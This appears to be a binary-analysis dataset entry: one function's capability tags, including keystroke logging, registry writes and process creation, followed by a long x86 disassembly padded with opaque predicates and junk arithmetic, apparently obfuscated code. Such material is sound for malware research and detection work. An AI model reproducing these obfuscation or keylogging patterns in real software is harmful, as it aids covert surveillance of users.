Function at 0x1002c4b6
Capabilities:
Check os version
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Log keystrokes via polling
Parse pe header
Read .ini file
Set registry value

Disassembly:
mov eax, 0x1007aa33
call fcn.100791d8
mov eax, 0x140c
call fcn.10074a00
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x5c], ecx
push edi
inc ebx
mov dword [ebp - 0x18], 2
push ebx
lea ecx, [ebp - 0xe24]
mov byte [ebp - 0x65], dl
call fcn.10016406
xor eax, eax
lea ecx, [ebp - 0xcf0]
push ebx
mov dword [ebp - 4], eax
call fcn.10016406
mov byte [ebp - 4], bl
xor edx, edx
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x28], 0xb5ca9869
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], 0x927f7b6f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], 0x976ff55e
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
neg ecx
cmp ecx, 0xfffffff9
setne al
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002c570
push 0x6fb
push eax
push 0x1be7
push 0x1d4b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x984]
mov dword [ebp - 0x1c], 0xe414
push 3
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], eax
jmp 0x1002c5a9
push dword [ebp - 0x28]
lea ecx, [ebp - 0x984]
call fcn.100164a4
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002c592
mov eax, dword [ebp - 0x1c]
mov ecx, 0xc1464f16
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf257
neg eax
sbb eax, eax
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jge 0x1002c5e2
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002c5e4
mov edi, ebx
jmp 0x1002c5e6
xor eax, eax
mov edi, eax
push ebx
lea ecx, [ebp - 0x984]
call fcn.100164a4
xor ecx, ecx
mov esi, eax
cmp edi, 0x7fd1e814
setle cl
xor edx, edx
cmp ecx, 0xd149
mov ecx, dword [ebp - 0x1c]
setge dl
xor eax, eax
cmp edx, ecx
setg al
sub eax, 0x6df5900a
mov dword [esi], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002c62d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], bl
call fcn.10016488
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c65f
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe24]
call fcn.100164a4
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c645
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c685
push dword [ebp - 0x18]
lea ecx, [ebp - 0xcf0]
call fcn.100164a4
mov dword [eax], 0xd4e677b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c667
xor eax, eax
mov esi, dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c697
push eax
call esi
mov edi, dword [sym.imp.USER32.dll_GetSystemMenu]
push 0xfffffffffffffff6
mov dword [ebp - 0x18], 0xfffffff7
pop eax
jmp 0x1002c7db
mov dword [ebp - 0x2c], 0x7013dce9
mov byte [ebp - 0x41], 0
cmp byte [ebp - 0x41], 0
je 0x1002c6ca
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x2c], 0
jmp 0x1002c7cf
push 3
lea ecx, [ebp - 0x480]
call fcn.10016406
mov byte [ebp - 4], 3
xor eax, eax
mov dword [ebp - 0x1c], 0x8421705
mov dword [ebp - 0x28], eax
jmp 0x1002c706
push dword [ebp - 0x28]
call fcn.100164a4
mov dword [eax], 8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
lea ecx, [ebp - 0x480]
jl 0x1002c6f5
push ebx
call fcn.100164a4
and dword [eax], 0
jmp 0x1002c73f
xor eax, eax
lea ecx, [ebp - 0xcf0]
push eax
call fcn.100164a4
push ebx
lea ecx, [ebp - 0x480]
mov dword [eax], 0xfffffffa
call fcn.100164a4
dec dword [eax]
push ebx
lea ecx, [ebp - 0x480]
call fcn.100164a4
cmp dword [eax], 0
jge 0x1002c71d
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002c7b6
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1002c7b3
push dword [ebp - 0x30]
lea ecx, [ebp - 0x480]
call fcn.100164a4
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002c7a9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c7a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1002c785
dec dword [ebp - 0x30]
jns 0x1002c768
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002c75a
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], bl
call fcn.10016488
dec dword [ebp - 0x2c]
push 0xfffffffffffffff6
pop eax
cmp dword [ebp - 0x2c], eax
jne 0x1002c6d6
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jle 0x1002c6ac
lea ecx, [ebp - 0xcf0]
call fcn.10016488
or eax, 0xffffffff
lea ecx, [ebp - 0xe24]
mov dword [ebp - 4], eax
call fcn.10016488
mov dword [ebp - 0x18], 2
lea ecx, [ebp - 0xf98]
push ebx
call fcn.10016406
push ebx
lea ecx, [ebp - 0x978]
mov dword [ebp - 4], 4
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c852
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf98]
call fcn.100164a4
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c838
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002c878
push dword [ebp - 0x18]
lea ecx, [ebp - 0x978]
call fcn.100164a4
mov dword [eax], 0xd4e677b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002c85a
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c886
push eax
call esi
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff7
jmp 0x1002c9c1
mov dword [ebp - 0x2c], 0x7013dce9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c8ae
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff6
je 0x1002c9be
push 3
lea ecx, [ebp - 0x468]
call fcn.10016406
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x1c], 0x8421705
mov dword [ebp - 0x28], eax
jmp 0x1002c8eb
push dword [ebp - 0x28]
call fcn.100164a4
mov dword [eax], 8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
lea ecx, [ebp - 0x468]
jl 0x1002c8da
push ebx
call fcn.100164a4
and dword [eax], 0
jmp 0x1002c924
xor eax, eax
lea ecx, [ebp - 0x978]
push eax
call fcn.100164a4
push ebx
lea ecx, [ebp - 0x468]
mov dword [eax], 0xfffffffa
call fcn.100164a4
dec dword [eax]
push ebx
lea ecx, [ebp - 0x468]
call fcn.100164a4
cmp dword [eax], 0
jge 0x1002c902
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002c99b
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1002c998
push dword [ebp - 0x30]
lea ecx, [ebp - 0x468]
call fcn.100164a4
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002c98e
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c989
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1002c96a
dec dword [ebp - 0x30]
jns 0x1002c94d
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002c93f
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 5
call fcn.10016488
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff6
jne 0x1002c8bb
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jle 0x1002c892
lea ecx, [ebp - 0x978]
call fcn.10016488
or eax, 0xffffffff
lea ecx, [ebp - 0xf98]
mov dword [ebp - 4], eax
call fcn.10016488
mov dword [ebp - 0x18], 2
lea ecx, [ebp - 0xe3c]
push ebx
call fcn.10016406
push ebx
lea ecx, [ebp - 0xb58]
mov dword [ebp - 4], 7
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ca38
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe3c]
call fcn.100164a4
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ca1e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ca5e
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb58]
call fcn.100164a4
mov dword [eax], 0xd4e677b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ca40
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002ca6c
push eax
call esi
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff7
cmp dword [ebp - 0x18], 0xffffffed
jg 0x1002cbb7
push 0xfffffffffffffff6
pop esi
mov dword [ebp - 0x2c], 0x7013dce9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002ca9c
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
je 0x1002cbaa
push 3
lea ecx, [ebp - 0x3fc]
call fcn.10016406
mov byte [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x1c], 0x8421705
mov dword [ebp - 0x28], eax
jmp 0x1002cad8
push dword [ebp - 0x28]
call fcn.100164a4
mov dword [eax], 8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
lea ecx, [ebp - 0x3fc]
jl 0x1002cac7
push ebx
call fcn.100164a4
and dword [eax], 0
jmp 0x1002cb11
xor eax, eax
lea ecx, [ebp - 0xb58]
push eax
call fcn.100164a4
push ebx
lea ecx, [ebp - 0x3fc]
mov dword [eax], 0xfffffffa
call fcn.100164a4
dec dword [eax]
push ebx
lea ecx, [ebp - 0x3fc]
call fcn.100164a4
cmp dword [eax], 0
jge 0x1002caef
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1002cb88
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1002cb85
push dword [ebp - 0x30]
lea ecx, [ebp - 0x3fc]
call fcn.100164a4
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002cb7b
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cb76
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x1002cb57
dec dword [ebp - 0x30]
jns 0x1002cb3a
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002cb2c
lea ecx, [ebp - 0x3fc]
mov byte [ebp - 4], 8
call fcn.10016488
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jne 0x1002caa8
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jle 0x1002ca80
lea ecx, [ebp - 0xb58]
call fcn.10016488
or eax, 0xffffffff
lea ecx, [ebp - 0xe3c]
mov dword [ebp - 4], eax
call fcn.10016488
xor eax, eax
mov dword [ebp - 0x3c], 0xa631
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002cbf4
push eax
push 0x922
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cc0b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [ebp - 0x1c], 0xe414
lea ecx, [ebp - 0x990]
push 3
call fcn.10016406
xor eax, eax
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x28], eax
jmp 0x1002cc44
push dword [ebp - 0x28]
lea ecx, [ebp - 0x990]
call fcn.100164a4
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002cc2d
mov eax, dword [ebp - 0x1c]
mov ecx, 0xc1464f16
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf257
neg eax
sbb eax, eax
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jge 0x1002cc7d
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002cc7f
mov edi, ebx
jmp 0x1002cc81
xor eax, eax
mov edi, eax
push ebx
lea ecx, [ebp - 0x990]
call fcn.100164a4
xor ecx, ecx
mov esi, eax
cmp edi, 0x7fd1e814
setle cl
xor eax, eax
cmp ecx, 0xd149
mov ecx, dword [ebp - 0x1c]
setge al
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
sub edx, 0x6df5900a
mov dword [esi], edx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002ccc9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
or edi, 0xffffffff
lea ecx, [ebp - 0x990]
mov dword [ebp - 4], edi
call fcn.10016488
mov dword [ebp - 0x10], 2
lea ecx, [ebp - 0x3e4]
mov dword [ebp - 0x18], 0x6444696a
mov dword [ebp - 0x10], 0x164f943a
mov dword [ebp - 0x38], ebx
push 3
call fcn.10016406
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x38], 0x2ef314d4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002cd2f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x718], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002cd17
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002cd4b
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3e4]
call fcn.100164a4
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002cd34
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x18]
sets cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
push 0xfffffffffffffff6
setne dl
xor ecx, ecx
sub edx, 6
cmp edx, eax
pop esi
setle cl
mov edx, esi
sub edx, ecx
xor ecx, ecx
mov dword [ebp - 0x718], edx
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x18]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, esi
lea ecx, [ebp - 0x3e4]
setl dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
sub eax, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
xor eax, eax
push eax
call fcn.100164a4
cmp dword [eax], 0
jne 0x1002cdc7
mov eax, dword [ebp - 0x10]
xor eax, eax
lea ecx, [ebp - 0x3e4]
push eax
call fcn.100164a4
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x3e4]
imul esi, dword [eax]
xor eax, eax
push eax
call fcn.100164a4
cmp esi, dword [eax]
jle 0x1002ce00
xor eax, eax
lea ecx, [ebp - 0x3e4]
push eax
call fcn.100164a4
cmp dword [eax], 0
jne 0x1002ce0b
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002ce0d
mov ebx, eax
jmp 0x1002ce0d
xor eax, eax
push eax
lea ecx, [ebp - 0x3e4]
call fcn.100164a4
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ebx, ecx
lea ecx, [ebp - 0x3e4]
push 2
setne dl
xor ebx, ebx
cmp edx, dword [eax]
setg bl
call fcn.100164a4
mov edx, dword [ebp - 0x18]
xor ecx, ecx
sub edx, dword [eax]
mov eax, dword [ebp - 0x18]
sub edx, ebx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x3e4]
mov dword [ebp - 4], edi
call fcn.10016488
xor edi, edi
lea ecx, [ebp - 0xf24]
inc edi
push edi
call fcn.10016406
mov dword [ebp - 4], 0xc
xor edx, edx
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x28], 0xb5ca9869
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], 0x927f7b6f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], 0x976ff55e
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
neg ecx
cmp ecx, 0xfffffff9
setne al
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002cee0
push 0x6fb
push eax
push 0x1be7
push 0x1d4b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push edi
lea ecx, [ebp - 0xa38]
call fcn.10016406
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xc48]
mov dword [ebp - 0x1c], 0xe414
push 3
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x28], eax
jmp 0x1002cf26
push dword [ebp - 0x28]
lea ecx, [ebp - 0xc48]
call fcn.100164a4
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002cf0f
mov eax, dword [ebp - 0x1c]
mov ecx, 0xc1464f16
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf257
neg eax
sbb eax, eax
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jge 0x1002cf5f
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002cf61
mov ebx, edi
jmp 0x1002cf63
xor eax, eax
mov ebx, eax
push edi
lea ecx, [ebp - 0xc48]
call fcn.100164a4
xor ecx, ecx
mov esi, eax
cmp ebx, 0x7fd1e814
setle cl
xor eax, eax
cmp ecx, 0xd149
mov ecx, dword [ebp - 0x1c]
setge al
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
sub edx, 0x6df5900a
mov dword [esi], edx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002cfab
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea ecx, [ebp - 0xc48]
mov byte [ebp - 4], 0xd
call fcn.10016488
push 3
pop ebx
xor eax, eax
lea ecx, [ebp - 0x4ec]
mov dword [ebp - 0x3c], eax
push ebx
call fcn.10016406
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x9c0]
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x48], 0xe1c97412
mov dword [ebp - 0x3c], 0x7a5b7d8c
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x34], 0x6c2e7ccc
push 2
call fcn.10016406
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb70]
mov dword [ebp - 0x38], 0x8169
push 2
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002d045
push dword [ebp - 0x24]
lea ecx, [ebp - 0x4ec]
call fcn.100164a4
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002d02b
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1002d070
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9c0]
call fcn.100164a4
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002d04e
xor edi, edi
inc edi
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002d090
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9a8], 0x78ef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002d078
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002d0ac
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb70]
call fcn.100164a4
mov dword [eax], 0x7b364fe
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002d095
push 2
lea ecx, [ebp - 0x4ec]
call fcn.100164a4
xor eax, eax
lea ecx, [ebp - 0x4ec]
push eax
call fcn.100164a4
mov eax, dword [ebp - 0x9a4]
lea ecx, [ebp - 0x9c0]
dec dword [ebp - 0x9a4]
xor eax, eax
push eax
call fcn.100164a4
mov ecx, dword [ebp - 0x48]
imul ecx, dword [eax]
cmp ecx, 0x6ac116e0
jle 0x1002d0f8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x38], edi
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002d111
push 2
lea ecx, [ebp - 0x4ec]
call fcn.100164a4
xor eax, eax
push eax
lea ecx, [ebp - 0x4ec]
call fcn.100164a4
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xb70]
push edi
call fcn.100164a4
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp ecx, dword [eax]
setl dl
xor eax, eax
mov dword [ebp - 0x38], edx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002d162
push eax
push 0x74f
push 0x1192
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
lea ecx, [ebp - 0xb70]
call fcn.10016488
lea ecx, [ebp - 0x9c0]
call fcn.10016488
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0xd
call fcn.10016488
mov dword [ebp - 0x20], 5
lea ecx, [ebp - 0x77c]
mov dword [ebp - 0x1c], 0x53061ece
push 2
call fcn.10016406
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x3c], 0xd132
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002d1d4
push dword [ebp - 0x18]
lea ecx, [ebp - 0x77c]
call fcn.100164a4
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d1b8
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002d1f4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1364], 0x275ff444
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002d1dc
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x1002d1fd
mov ecx, edi
mov eax, dword [ebp - 0x20]
or esi, 0xffffffff
imul eax, ecx
sub eax, dword [ebp - 0x20]
cmp eax, esi
sbb eax, eax
xor edx, edx
add eax, 0xffff4a42
cmp eax, 0x47c
setl dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, edi
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x1002d345
jmp 0x1002d254
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x3c], 0x1718
mov dword [ebp - 0x10], 0x6848
mov dword [ebp - 0x34], 0x9534ce5f
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1002d333
mov dword [ebp - 0x3c], 0xfffffff8
lea ecx, [ebp - 0xf10]
push ebx
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x28], eax
jmp 0x1002d2d9
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf10]
call fcn.100164a4
mov dword [eax], 0xc6a37d7c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002d2c2
mov eax, dword [ebp - 0x10]
inc dword [ebp - 0x10]
test eax, eax
je 0x1002d306
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x77c]
call fcn.100164a4
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002d308
mov esi, edi
jmp 0x1002d30a
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x77c]
call fcn.100164a4
lea ecx, [ebp - 0xf10]
mov byte [ebp - 4], 0x12
mov dword [eax], esi
call fcn.10016488
dec dword [ebp - 0x20]
jns 0x1002d2a4
or esi, 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x1002d252
lea ecx, [ebp - 0x77c]
mov byte [ebp - 4], 0xd
call fcn.10016488
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002d378
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf24]
call fcn.100164a4
mov dword [eax], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d35e
xor eax, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
jmp 0x1002d39c
mov dword [ebp - 0x10], 0xfffffffc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jge 0x1002d399
cmp dword [ebp - 0x30], eax
jne 0x1002d399
inc dword [ebp - 0x10]
js 0x1002d38f
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jl 0x1002d380
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002d3c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa38]
call fcn.100164a4
mov dword [eax], 0xd4e677b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d3aa
xor eax, eax
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x3c], 0xb5f0b10
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0xbefa5f9c
